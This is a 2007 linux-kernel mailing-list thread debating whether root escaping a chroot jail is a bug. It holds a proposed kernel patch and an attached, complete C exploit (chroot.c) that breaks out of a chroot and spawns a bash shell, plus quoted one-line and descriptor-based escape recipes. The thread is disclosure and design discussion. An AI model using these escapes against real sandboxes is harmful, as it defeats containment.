* sys_chroot+sys_fchdir Fix
@ 2007-09-19 7:19 majkls
2007-09-19 9:40 ` Alan Cox
0 siblings, 1 reply; 50+ messages in thread
From: majkls @ 2007-09-19 7:19 UTC (permalink / raw)
To: bunk; +Cc: linux-kernel
[-- Attachment #1: Type: text/plain, Size: 299 bytes --]
Hello,
here is an fix to an exploit (obtained somewhere in internet). This
exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible
(with sufficient filedescriptor (if there is na directory fd opened in
root) workaround chroot with sys_fchdir. This patch fixes it.
Miloslav Semler
[-- Attachment #2: sys_chroot+sys_fchdir.patch --]
[-- Type: text/x-diff, Size: 3265 bytes --]
diff -Nrp linux-2.6.16.53/fs/namei.c linux-2.6.16.53-new/fs/namei.c
*** linux-2.6.16.53/fs/namei.c 2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/namei.c 2007-09-15 16:13:50.000000000 +0200
*************** static __always_inline void follow_dotdo
*** 728,733 ****
--- 728,772 ----
}
follow_mount(&nd->mnt, &nd->dentry);
}
+ long directory_is_out(struct vfsmount *wdmnt, struct dentry *wdentry,
+ struct vfsmount *rootmnt, struct dentry *root)
+ {
+ struct nameidata oldentry, newentry;
+ long ret = 1;
+
+ read_lock(¤t->fs->lock);
+ oldentry.dentry = dget(wdentry);
+ oldentry.mnt = mntget(wdmnt);
+ read_unlock(¤t->fs->lock);
+ newentry.dentry = oldentry.dentry;
+ newentry.mnt = oldentry.mnt;
+
+ follow_dotdot(&newentry);
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+
+ while(oldentry.mnt != newentry.mnt ||
+ oldentry.dentry != newentry.dentry){
+
+ memcpy(&oldentry, &newentry, sizeof(struct nameidata));
+ follow_dotdot(&newentry);
+
+ /* check it */
+ if(newentry.dentry == root &&
+ newentry.mnt == rootmnt){
+ ret = 0;
+ goto out;
+ }
+ }
+ out:
+ dput(newentry.dentry);
+ mntput(newentry.mnt);
+ return ret;
+ }
/*
* It's more convoluted than I'd like it to be, but... it's still fairly
diff -Nrp linux-2.6.16.53/fs/open.c linux-2.6.16.53-new/fs/open.c
*** linux-2.6.16.53/fs/open.c 2007-07-25 23:05:45.000000000 +0200
--- linux-2.6.16.53-new/fs/open.c 2007-09-15 16:14:52.000000000 +0200
*************** dput_and_out:
*** 560,565 ****
--- 560,567 ----
out:
return error;
}
+ long directory_is_out(struct vfsmount *, struct dentry*,
+ struct vfsmount *, struct dentry *);
asmlinkage long sys_fchdir(unsigned int fd)
{
*************** asmlinkage long sys_fchdir(unsigned int
*** 581,586 ****
--- 583,591 ----
error = -ENOTDIR;
if (!S_ISDIR(inode->i_mode))
goto out_putf;
+ if (directory_is_out(mnt, dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto out_putf;
error = file_permission(file, MAY_EXEC);
if (!error)
*************** out:
*** 594,600 ****
asmlinkage long sys_chroot(const char __user * filename)
{
struct nameidata nd;
! int error;
error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
if (error)
--- 599,605 ----
asmlinkage long sys_chroot(const char __user * filename)
{
struct nameidata nd;
! int error, set_wd = 0;
error = __user_walk(filename, LOOKUP_FOLLOW | LOOKUP_DIRECTORY | LOOKUP_NOALT, &nd);
if (error)
*************** asmlinkage long sys_chroot(const char __
*** 607,615 ****
--- 612,631 ----
error = -EPERM;
if (!capable(CAP_SYS_CHROOT))
goto dput_and_out;
+ error = -ENOTDIR;
+ /*
+ if (directory_is_out(nd.mnt, nd.dentry, current->fs->rootmnt,
+ current->fs->root))
+ goto dput_and_out;
+ */
+ set_wd = directory_is_out(current->fs->pwdmnt, current->fs->pwd,
+ nd.mnt, nd.dentry);
set_fs_root(current->fs, nd.mnt, nd.dentry);
set_fs_altroot();
+ /* if wd is out, reset it to . */
+ if(set_wd)
+ set_fs_pwd(current->fs, nd.mnt, nd.dentry);
error = 0;
dput_and_out:
path_release(&nd);
[-- Attachment #3: chroot.c --]
[-- Type: text/x-csrc, Size: 4107 bytes --]
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
/*
** You should set NEED_FCHDIR to 1 if the chroot() on your
** system changes the working directory of the calling
** process to the same directory as the process was chroot()ed
** to.
**
** It is known that you do not need to set this value if you
** running on Solaris 2.7 and below.
**
*/
/*#define NEED_FCHDIR 0*/
#define TEMP_DIR "waterbuffalo"
/* Break out of a chroot() environment in C */
int main() {
int x; /* Used to move up a directory tree */
int done=0; /* Are we done yet ? */
#ifdef NEED_FCHDIR
int dir_fd; /* File descriptor to directory */
#endif
struct stat sbuf; /* The stat() buffer */
puts("chroot()");
chroot(".");
/* chdir("/");
setuid(65534); */
/*
** First we create the temporary directory if it doesn't exist
*/
if (stat(TEMP_DIR,&sbuf)<0) {
if (errno==ENOENT) {
if (mkdir(TEMP_DIR,0755)<0) {
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else {
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR,
strerror(errno));
exit(1);
}
} else if (!S_ISDIR(sbuf.st_mode)) {
fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR);
exit(1);
}
#ifdef NEED_FCHDIR
/*
** Now we open the current working directory
**
** Note: Only required if chroot() changes the calling program's
** working directory to the directory given to chroot().
**
*/
if ((dir_fd=open(".",O_RDONLY))<0) {
fprintf(stderr,"Failed to open \".\" for reading - %s\n",
strerror(errno));
exit(1);
}
#endif
/*
** Next we chroot() to the temporary directory
*/
if (chroot(TEMP_DIR)<0) {
fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR,
strerror(errno));
exit(1);
}
#ifdef NEED_FCHDIR
/*
** Partially break out of the chroot by doing an fchdir()
**
** This only partially breaks out of the chroot() since whilst
** our current working directory is outside of the chroot() jail,
** our root directory is still within it. Thus anything which refers
** to "/" will refer to files under the chroot() point.
**
** Note: Only required if chroot() changes the calling program's
** working directory to the directory given to chroot().
**
*/
if (fchdir(dir_fd)<0) {
fprintf(stderr,"Failed to fchdir - %s\n",
strerror(errno));
exit(1);
}
close(dir_fd);
#endif
/*
** Completely break out of the chroot by recursing up the directory
** tree and doing a chroot to the current working directory (which will
** be the real "/" at that point). We just do a chdir("..") lots of
** times (1024 times for luck :). If we hit the real root directory before
** we have finished the loop below it doesn't matter as .. in the root
** directory is the same as . in the root.
**
** We do the final break out by doing a chroot(".") which sets the root
** directory to the current working directory - at this point the real
** root directory.
*/
for(x=0;x<1024;x++) {
chdir("..");
}
chroot(".");
/*
** We're finally out - so exec a shell in interactive mode
*/
if (execl("/bin/bash","-i",NULL)<0) {
fprintf(stderr,"Failed to exec - %s\n",strerror(errno));
exit(1);
}
}
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-19 7:19 sys_chroot+sys_fchdir Fix majkls
@ 2007-09-19 9:40 ` Alan Cox
2007-09-19 18:27 ` Bill Davidsen
0 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-19 9:40 UTC (permalink / raw)
To: majkls; +Cc: bunk, linux-kernel
On Wed, 19 Sep 2007 09:19:50 +0200
majkls <majkls@prepere.com> wrote:
> Hello,
> here is an fix to an exploit (obtained somewhere in internet). This
> exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible
> (with sufficient filedescriptor (if there is na directory fd opened in
> root) workaround chroot with sys_fchdir. This patch fixes it.
If you have the ability to use chroot() you are root. If you are root you
can walk happily out of any chroot by a thousand other means.
Alan
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-19 9:40 ` Alan Cox
@ 2007-09-19 18:27 ` Bill Davidsen
2007-09-19 18:45 ` Alan Cox
0 siblings, 1 reply; 50+ messages in thread
From: Bill Davidsen @ 2007-09-19 18:27 UTC (permalink / raw)
To: Alan Cox; +Cc: majkls, bunk, linux-kernel
Alan Cox wrote:
> On Wed, 19 Sep 2007 09:19:50 +0200
> majkls <majkls@prepere.com> wrote:
>
>> Hello,
>> here is an fix to an exploit (obtained somewhere in internet). This
>> exploit can workaround chroot with CAP_SYS_CHROOT. It is also possible
>> (with sufficient filedescriptor (if there is na directory fd opened in
>> root) workaround chroot with sys_fchdir. This patch fixes it.
>
>
> If you have the ability to use chroot() you are root. If you are root you
> can walk happily out of any chroot by a thousand other means.
>
I thought this was to prevent breaking out of chroot as a normal user.
ie. chroot /var/myjail /bin/su - guest
or similar.
--
Bill Davidsen <davidsen@tmr.com>
"We have more to fear from the bungling of the incompetent than from
the machinations of the wicked." - from Slashdot
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-19 18:27 ` Bill Davidsen
@ 2007-09-19 18:45 ` Alan Cox
2007-09-19 22:24 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-19 18:45 UTC (permalink / raw)
To: Bill Davidsen; +Cc: majkls, bunk, linux-kernel
> I thought this was to prevent breaking out of chroot as a normal user.
> ie. chroot /var/myjail /bin/su - guest
> or similar.
Normal users cannot use chroot() themselves so they can't use chroot to
get back out
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-19 18:45 ` Alan Cox
@ 2007-09-19 22:24 ` David Newall
2007-09-21 17:39 ` Phillip Susi
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-19 22:24 UTC (permalink / raw)
To: Alan Cox; +Cc: Bill Davidsen, majkls, bunk, linux-kernel
> Normal users cannot use chroot() themselves so they can't use chroot to
> get back out
I think Bill is right, that this is to fix a method that non-root
processes can use to escape their chroot. The exploit, which is
documented in chroot(2)*, is to chdir("..") your way out. Who'd have
thought it? Only root can do that, but even that seems wrong. Chroot
should be chroot and that should be the end of it.
It looks to me like Miloslav has found a bug, although I suspect there's
a simpler solution because non-root is already prevented from escaping
this way.
David
* In particular, the superuser can escape from a ‘chroot jail’ by doing
‘mkdir foo; chroot foo; cd ..’.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-19 22:24 ` David Newall
@ 2007-09-21 17:39 ` Phillip Susi
2007-09-21 18:10 ` Alan Cox
0 siblings, 1 reply; 50+ messages in thread
From: Phillip Susi @ 2007-09-21 17:39 UTC (permalink / raw)
To: David Newall; +Cc: Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
David Newall wrote:
> * In particular, the superuser can escape from a =91chroot jail=92 by d=
> oing=20
> =91mkdir foo; chroot foo; cd ..=92.
No, he can not.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-21 17:39 ` Phillip Susi
@ 2007-09-21 18:10 ` Alan Cox
2007-09-25 20:53 ` Phillip Susi
0 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-21 18:10 UTC (permalink / raw)
To: Phillip Susi; +Cc: David Newall, Bill Davidsen, majkls, bunk, linux-kernel
On Fri, 21 Sep 2007 13:39:34 -0400
Phillip Susi <psusi@cfl.rr.com> wrote:
> David Newall wrote:
> > * In particular, the superuser can escape from a =91chroot jail=92 by d=
> > oing=20
> > =91mkdir foo; chroot foo; cd ..=92.
>
> No, he can not.
The superuser can escape that way - its expected and fine behaviour
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-21 18:10 ` Alan Cox
@ 2007-09-25 20:53 ` Phillip Susi
2007-09-26 0:23 ` Al Viro
0 siblings, 1 reply; 50+ messages in thread
From: Phillip Susi @ 2007-09-25 20:53 UTC (permalink / raw)
To: Alan Cox; +Cc: David Newall, Bill Davidsen, majkls, bunk, linux-kernel
Alan Cox wrote:
> On Fri, 21 Sep 2007 13:39:34 -0400
> Phillip Susi <psusi@cfl.rr.com> wrote:
>
>> David Newall wrote:
>>> * In particular, the superuser can escape from a =91chroot jail=92 by d=
>>> oing=20
>>> =91mkdir foo; chroot foo; cd ..=92.
>> No, he can not.
>
> The superuser can escape that way - its expected and fine behaviour
Does not work for me, and that would be the EXACT thing chroot is
supposed to prevent. Maybe you guys are thinking of a program that
calls chroot() but leaves cwd outside the chroot still being able to
navigate outside of it?
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-25 20:53 ` Phillip Susi
@ 2007-09-26 0:23 ` Al Viro
2007-09-26 10:34 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Al Viro @ 2007-09-26 0:23 UTC (permalink / raw)
To: Phillip Susi
Cc: Alan Cox, David Newall, Bill Davidsen, majkls, bunk, linux-kernel
On Tue, Sep 25, 2007 at 04:53:00PM -0400, Phillip Susi wrote:
> Alan Cox wrote:
> >On Fri, 21 Sep 2007 13:39:34 -0400
> >Phillip Susi <psusi@cfl.rr.com> wrote:
> >
> >>David Newall wrote:
> >>>* In particular, the superuser can escape from a =91chroot jail=92 by d=
> >>>oing=20
> >>>=91mkdir foo; chroot foo; cd ..=92.
> >>No, he can not.
> >
> >The superuser can escape that way - its expected and fine behaviour
>
> Does not work for me, and that would be the EXACT thing chroot is
> supposed to prevent. Maybe you guys are thinking of a program that
> calls chroot() but leaves cwd outside the chroot still being able to
> navigate outside of it?
Oh, for fsck sake... Folks, it's standard-required behaviour. Ability
to chroot() implies the ability to break out of it. Could we please
add that (along with reference to SuS) to l-k FAQ and be done with that
nonsense?
If you are within chroot jail and capable of chroot(), you can chdir to
its root, then chroot() to subdirectory and you've got cwd outside of
your new root. After that you can chdir all way out to original root.
Again, this is standard behaviour. Changing it will not yield any
security improvements, so kindly give that a rest.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 0:23 ` Al Viro
@ 2007-09-26 10:34 ` David Newall
2007-09-26 11:21 ` Alan Cox
` (2 more replies)
0 siblings, 3 replies; 50+ messages in thread
From: David Newall @ 2007-09-26 10:34 UTC (permalink / raw)
To: Al Viro; +Cc: Phillip Susi, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
Al Viro wrote:
> Oh, for fsck sake... Folks, it's standard-required behaviour. Ability
> to chroot() implies the ability to break out of it. Could we please
> add that (along with reference to SuS) to l-k FAQ and be done with that
> nonsense?
I'm pretty confident that it's only standard behavior for Linux. Every
other unix says it's not allowed.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 10:34 ` David Newall
@ 2007-09-26 11:21 ` Alan Cox
2007-09-26 11:22 ` David Newall
2007-09-26 18:40 ` Al Viro
2007-09-26 19:24 ` Christer Weinigel
2 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-26 11:21 UTC (permalink / raw)
To: David Newall
Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
On Wed, 26 Sep 2007 20:04:14 +0930
David Newall <david@davidnewall.com> wrote:
> Al Viro wrote:
> > Oh, for fsck sake... Folks, it's standard-required behaviour. Ability
> > to chroot() implies the ability to break out of it. Could we please
> > add that (along with reference to SuS) to l-k FAQ and be done with that
> > nonsense?
>
> I'm pretty confident that it's only standard behavior for Linux. Every
> other unix says it's not allowed.
Go try them, then come back and admit your error
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 11:21 ` Alan Cox
@ 2007-09-26 11:22 ` David Newall
2007-09-26 11:38 ` Alan Cox
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-26 11:22 UTC (permalink / raw)
To: Alan Cox; +Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
Alan Cox wrote:
> On Wed, 26 Sep 2007 20:04:14 +0930
> David Newall <david@davidnewall.com> wrote:
>
>> Al Viro wrote:
>>
>>> Oh, for fsck sake... Folks, it's standard-required behaviour. Ability
>>> to chroot() implies the ability to break out of it. Could we please
>>> add that (along with reference to SuS) to l-k FAQ and be done with that
>>> nonsense?
>>>
>> I'm pretty confident that it's only standard behavior for Linux. Every
>> other unix says it's not allowed.
>>
>
> Go try them, then come back and admit your error
>
I've made no error. The documentation says what it says, and what it
doesn't say, other than for Linux, is that there is an unspecified way
of breaking out.
If you're so keen on trying things, then I challenge you to try it on,
oh, say, BSD, and then admit your error. (Such hostile words.)
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 11:22 ` David Newall
@ 2007-09-26 11:38 ` Alan Cox
2007-09-26 11:56 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-26 11:38 UTC (permalink / raw)
To: David Newall
Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
> I've made no error. The documentation says what it says, and what it
> doesn't say, other than for Linux, is that there is an unspecified way
> of breaking out.
Now see I've been working on Unix systems since 1988 or so and in that
time I've learned to read the documentation properly (you haven't) and
I've also don't security work on a pile of systems. Your assumptions and
your whole mental model of this are horribly broken.
> If you're so keen on trying things, then I challenge you to try it on,
> oh, say, BSD, and then admit your error. (Such hostile words.)
FreeBSD isn't a Unix system, and isn't compliant to the spec. Its
also still trivial to get out of a freebsd chroot using things like
ptrace. FreeBSD jails on the other hand do what you confusedly seem to
think should happen with chroot. They are seperate precisely because they
are different.
Alan
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 11:38 ` Alan Cox
@ 2007-09-26 11:56 ` David Newall
2007-09-26 14:10 ` Alan Cox
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-26 11:56 UTC (permalink / raw)
To: Alan Cox; +Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
Alan Cox wrote:
> Now see I've been working on Unix systems since 1988 or so and in that
> time I've learned to read the documentation properly (you haven't)
My, my, you can be unpleasant when you try. There's no need for it. As
it happens I have years of UNIX experience on you. (Newbie!)
You've got an idea that the original intention was for there to be a way
to escape from a chroot, but that the documentation was written so that,
not only was this not mentioned, but what was written implies
otherwise. You've also got some idea that because it's the way it is,
therefore it must be right. You present no reasoning to explain why the
behavior is correct; instead you use insults. I've exhausted my
tolerance for rudeness.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 11:56 ` David Newall
@ 2007-09-26 14:10 ` Alan Cox
2007-09-26 15:03 ` Chris Adams
2007-09-26 16:54 ` David Newall
0 siblings, 2 replies; 50+ messages in thread
From: Alan Cox @ 2007-09-26 14:10 UTC (permalink / raw)
To: David Newall
Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
> therefore it must be right. You present no reasoning to explain why the
> behavior is correct; instead you use insults. I've exhausted my
> tolerance for rudeness.
Well if citing standards documents at people is rudeness so be it.
Alan
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 14:10 ` Alan Cox
@ 2007-09-26 15:03 ` Chris Adams
2007-09-26 16:54 ` David Newall
1 sibling, 0 replies; 50+ messages in thread
From: Chris Adams @ 2007-09-26 15:03 UTC (permalink / raw)
To: linux-kernel
Once upon a time, Alan Cox <alan@lxorguk.ukuu.org.uk> said:
>Well if citing standards documents at people is rudeness so be it.
I hate to get involved in this, but actually chroot() is no longer part
of SuS as of version 3.
For other Unix versions, both Tru64 (5.1B) and Solaris (9) chroot(2) man
pages also say the working directory is unaffected by chroot(). The
Solaris man page explicitly mentions using fchdir() to reset the root to
a previously opened directory however.
On Tru64 and Solaris, the chroot command does call chdir() after
chroot(), but that is a userspace thing.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 14:10 ` Alan Cox
2007-09-26 15:03 ` Chris Adams
@ 2007-09-26 16:54 ` David Newall
2007-09-26 17:04 ` Alan Cox
1 sibling, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-26 16:54 UTC (permalink / raw)
To: Alan Cox; +Cc: linux-kernel
Alan,
Alan Cox wrote:
>> therefore it must be right. You present no reasoning to explain why the
>> behavior is correct; instead you use insults. I've exhausted my
>> tolerance for rudeness.
>>
>
> Well if citing standards documents at people is rudeness so be it.
Did you just tell a porky? Did you just (again) say something
calculated to give a false belief? I think so.
This is not a citation:
> It does change the root, it just doesn't guarantee you can't change it
> back - which is correct POSIX, Unix, SuS behaviour. So either everyone
> else is wrong or you are.. I know who I am betting on
>
That was you implying that standard documents say things that they
don't. But yes, that was the first time.
Care to let it drop?
David
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 16:54 ` David Newall
@ 2007-09-26 17:04 ` Alan Cox
2007-09-26 17:18 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-26 17:04 UTC (permalink / raw)
To: David Newall; +Cc: linux-kernel
You quoted the standard, I merely pointed out you forgot to read it
properly. Thats your problem not mine.
Alan
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 17:04 ` Alan Cox
@ 2007-09-26 17:18 ` David Newall
2007-09-26 17:29 ` Alan Cox
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-26 17:18 UTC (permalink / raw)
To: Alan Cox; +Cc: linux-kernel
Alan Cox wrote:
> You quoted the standard, I merely pointed out you forgot to read it
> properly. Thats your problem not mine.
>
How bizarre. Last email you claimed to quote the standards (but you
never did.) Your becoming an embarrassment. You were rude, and
multiple times. Please just drop it while you retain a shred of dignity.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 17:29 ` Alan Cox
@ 2007-09-26 17:28 ` David Newall
0 siblings, 0 replies; 50+ messages in thread
From: David Newall @ 2007-09-26 17:28 UTC (permalink / raw)
To: alan; +Cc: linux-kernel
Alan Cox wrote:
> ** Plonk **
>
> Welcome to my killfile.
Well that's a relief.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 17:18 ` David Newall
@ 2007-09-26 17:29 ` Alan Cox
2007-09-26 17:28 ` David Newall
0 siblings, 1 reply; 50+ messages in thread
From: Alan Cox @ 2007-09-26 17:29 UTC (permalink / raw)
To: David Newall; +Cc: linux-kernel
** Plonk **
Welcome to my killfile.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 10:34 ` David Newall
2007-09-26 11:21 ` Alan Cox
@ 2007-09-26 18:40 ` Al Viro
2007-09-26 19:24 ` Christer Weinigel
2 siblings, 0 replies; 50+ messages in thread
From: Al Viro @ 2007-09-26 18:40 UTC (permalink / raw)
To: David Newall
Cc: Phillip Susi, Alan Cox, Bill Davidsen, majkls, bunk, linux-kernel
On Wed, Sep 26, 2007 at 08:04:14PM +0930, David Newall wrote:
> Al Viro wrote:
> >Oh, for fsck sake... Folks, it's standard-required behaviour. Ability
> >to chroot() implies the ability to break out of it. Could we please
> >add that (along with reference to SuS) to l-k FAQ and be done with that
> >nonsense?
>
> I'm pretty confident that it's only standard behavior for Linux. Every
> other unix says it's not allowed.
OK, the possibilities are
* you've discovered a bug in all Unices (BTW, even FreeBSD *does*
allow to break out of some chroots in that fashion; RTFS and you'll see -
just pay attention to setting fdp->fd_jdir logics in kern/vfs_syscalls.c:
change_root(); it sets jail boundary on _first_ chroot and if you've got
nested chroots, you can leave them just fine by use of SCM_RIGHTS to hold
directory descriptor). All hail David, nevermind that this behaviour had
been described in Unix FAQs since _way_ back.
* you've misunderstood the purpose of chroot(), the fact that
behaviour in question is at the very least extremely common on Unix and
the fact that any code relying on root-proof chroot(2) is broken and needs
to be fixed, simply because chroot is _not_ root-proof on (at least) almost
all systems.
Note that the last statement applies in both cases; it's simply reality.
Insisting that behaviour known for decades is a bug since it contradicts
your rather convoluted reading of the standards... Looks rather silly,
IMO, but that has zero practical consequences anyway. Userland code can't
rely on root-proof chroot(2), period.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 10:34 ` David Newall
2007-09-26 11:21 ` Alan Cox
2007-09-26 18:40 ` Al Viro
@ 2007-09-26 19:24 ` Christer Weinigel
2007-09-26 21:19 ` David Newall
2 siblings, 1 reply; 50+ messages in thread
From: Christer Weinigel @ 2007-09-26 19:24 UTC (permalink / raw)
To: David Newall
Cc: Al Viro, Phillip Susi, Alan Cox, Bill Davidsen, majkls, bunk,
linux-kernel
On Wed, 26 Sep 2007 20:04:14 +0930
David Newall <david@davidnewall.com> wrote:
> Al Viro wrote:
> > Oh, for fsck sake... Folks, it's standard-required behaviour.
> > Ability to chroot() implies the ability to break out of it. Could
> > we please add that (along with reference to SuS) to l-k FAQ and be
> > done with that nonsense?
>
> I'm pretty confident that it's only standard behavior for Linux.
> Every other unix says it's not allowed.
So how about reading up on the subject instead?
*spends five minutes with Google*
>From the OpenBSD FAQ (an operating system most know for being really,
really focused on security):
http://www.openbsd.org/faq/faq10.html
Any application which has to assume root privileges to operate is
pointless to attempt to chroot(2), as root can generally escape a
chroot(2).
Solaris:
http://www.softpanorama.org/Solaris/Security/solaris_privilege_sets.shtml
You must be root to make the chroot() call, and you should quickly
change to non-root (a root user can escape a chroot environment,
so if it's to be effective, you need to drop that privilege).
A chroot FAQ:
http://www.unixwiz.net/techtips/chroot-practices.html
There are well-known techniques used to escape from jail, but the
most common one requires root privileges inside the jail.
Another chroot FAT one linked to from the previous one:
http://www.bpfh.net/simes/computing/chroot-break.html
This page details how the chroot() system call can be used to
provide an additional layer of security when running untrusted
programs. It also details how this additional layer of security
can be circumvented.
Whilst chroot() is reasonably secure, a program can escape from
its trap.
Yet Another FAQ, this time about secure Unix Programming:
http://www.faqs.org/faqs/unix-faq/programmer/secure-programming/
chroot() only limits the file system scope and nothing else.
[further descriptions of how to break out of chroot, with and
without root privileges]
Convinced?
/Christer
--
"Just how much can I get away with and still go to heaven?"
Christer Weinigel <christer@weinigel.se> http://www.weinigel.se
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 19:24 ` Christer Weinigel
@ 2007-09-26 21:19 ` David Newall
2007-09-26 21:55 ` Adrian Bunk
2007-09-27 7:28 ` Christer Weinigel
0 siblings, 2 replies; 50+ messages in thread
From: David Newall @ 2007-09-26 21:19 UTC (permalink / raw)
To: Christer Weinigel
Cc: Al Viro, Phillip Susi, Bill Davidsen, majkls, bunk, linux-kernel
Christer Weinigel wrote:
> *spends five minutes with Google*
>
> From the OpenBSD FAQ (an operating system most know for being really,
> really focused on security):
>
> http://www.openbsd.org/faq/faq10.html
>
> Any application which has to assume root privileges to operate is
> pointless to attempt to chroot(2), as root can generally escape a
> chroot(2).
>
For sure, "a root user can get out of a chroot a million different
ways." Young Alan said as much at the beginning of this conversation,
and I have always agreed. I don't hope to secure Linux within chroot,
simply to fix chroot so that it does what it says it does.
Look, when chroot was being designed, I think they intended that even
root should be unable to get out. They went so far as to say that
dot-dot wouldn't let you out; and it doesn't. It's not dot-dot that's
the problem. Even fchdir is no problem, because you choose which file
descriptors to leave open. Fchdir is actually one of the answers.
("What if we need a way to escape?")
The problem is leaving cwd unchanged. Once you've set cwd within the
new root, dot-dot is promised to keep you within that root; and so it
does. But by leaving cwd unchanged, if you do a subsequent chroot, that
promise is suddenly broken. I think this is a bug. I think that
behavior was not intended. Not all agree with me, but obviously a lot
do, otherwise OpenBSD and others wouldn't have addressed this exact
issue. Here's what they do:
"If the program is already running with an altered root directory,
the process's current directory is changed to the same new root
directory. This prevents the current directory from being further
up the directory tree than the altered root directory."
-- OpenBSD man 2 chroot
This was no more than an attempt to fix a long-standing bug.
As stated, opinion is divided as to whether this is a bug. I think it
is, and many people agree, for example some of the BSDs and probably
others; some people don't. Young Alan, for example, ummm, strongly (is
a good word) disagrees. I don't see that it calls for nastiness or
emotion, and although opinion on this august list is divided, apparently
the nays are in the majority. We should leave it at that.
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 21:19 ` David Newall
@ 2007-09-26 21:55 ` Adrian Bunk
2007-09-26 23:35 ` David Newall
2007-09-27 7:28 ` Christer Weinigel
1 sibling, 1 reply; 50+ messages in thread
From: Adrian Bunk @ 2007-09-26 21:55 UTC (permalink / raw)
To: David Newall
Cc: Christer Weinigel, Al Viro, Phillip Susi, Bill Davidsen, majkls,
linux-kernel
On Thu, Sep 27, 2007 at 06:49:28AM +0930, David Newall wrote:
>...
> Look, when chroot was being designed, I think they intended that even root
> should be unable to get out. They went so far as to say that dot-dot
> wouldn't let you out; and it doesn't.
>...
You are claiming "They went so far as to say that dot-dot wouldn't let
you out"?
Who are the "they" people you are referring to?
And where did "they" explicitely state what you claim they did say?
cu
Adrian
--
"Is there not promise of rain?" Ling Tan asked suddenly out
of the darkness. There had been need of rain for many days.
"Only a promise," Lao Er said.
Pearl S. Buck - Dragon Seed
^ permalink raw reply [flat|nested] 50+ messages in thread
* Re: sys_chroot+sys_fchdir Fix
2007-09-26 21:55 ` Adrian Bunk
@ 2007-09-26 23:35 ` David Newall
2007-09-27 0:01 ` Adrian Bunk
0 siblings, 1 reply; 50+ messages in thread
From: David Newall @ 2007-09-26 23:35 UTC (permalink / raw)
To: Adrian Bunk
